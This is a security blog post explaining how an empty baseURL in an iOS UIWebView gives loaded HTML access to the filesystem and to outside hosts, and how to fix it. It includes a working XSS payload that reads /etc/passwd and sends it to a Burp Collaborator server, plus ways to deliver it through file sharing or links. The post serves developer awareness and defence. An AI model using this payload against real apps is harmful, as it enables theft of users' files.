This post is about a simple, yet potentially dangerous security flaw that I’ve seen several times in iOS apps. I feel this misconfiguration should have more awareness around it – specifically, developers (and bug bounty hunters) should ensure that they are handling their web view security correctly! (Leer en español)
The issue is rather simple, but is often misunderstood – when setting up a webView in your code, you will often see it done like this:
[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@""]]
Many developers assume that setting the baseURL to @”” means they are safe – that since the base url is specified as an empty string, then a would be attacker won’t be able to load requests to whatever random malicious website – but this is wrong.
In fact, when the baseURL parameter is set to an empty string, this gives the attacker access to the app’s filesystem (using the file:// url scheme), and any external website that they choose – essentially bypassing any SOP protection.
Another method to watch out for is - load
This misconfiguration can be exploited in many ways – the most common that I’ve seen is a file sharing functionality, where users can open the files inside a web view. For example, consider this simple XSS payload:
<script>
var request = new XMLHttpRequest();
request.open("GET","file:///etc/passwd",false);
request.send();
request.open("POST","http://nc3fefxjk1kpku6504yvqzeyspyjm8.burpcollaborator.net",false);
request.send(request.responseText);
</script>
For those unfamiliar with html/XSS attacks – the payload simply opens up the phone’s ‘/etc/passwd’ file, and sends its contents to the attacker’s server (in this example, I used Burp Collaborator to verify received requests).
I simply save this as an .html file, sync it up with my iCloud, and then share it in the app (usually via the Apple ‘Files’ app that comes with iOS 11).
And then, when the user opens the file:
I receive the user’s etc/passwd file!
Other potential exploitation methods:
- Apps with in-app opening of URLs/web browsing – an attacker could send the victim a malicious URL (through an in app chat for example) that may open the link in the app’s web view when clicked
- URL scheme abuse – An attacker could potentially send a malicious URL through outside channels (via email or iMessage, for example). If the URL scheme used opens those links in a webView, exploitation is possible
The simplest solution to this vulnerability is simply to set the baseURL parameter to ‘about:blank’ instead of an empty string. For example:
[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@"about:blank"]]
Now, the webView is essentially sandboxed from the phone’s filesystem – an attacker may be able to achieve a popup, but won’t be able to steal any data/communicate with malicious servers. This solution may interfere with app functionality if you, for example, load inline images from the user filesystem. In that case, you would need to get more creative in perhaps whitelisting certain directories or hosts that are allowed to be accessed.
It should also be noted that this attack becomes significantly less likely to succeed if developers have opted to use the newer ‘WKWebView’ class instead of the older ‘UIWebView’. WKWebView comes with improved security: it doesn’t allow AJAX requests to the local filesystem by default (so the attack used in this post would not work, unless the developer had explicitly enabled it). It also comes with a property to disable/enable Javascript execution.
I hope someone out there finds this helpful!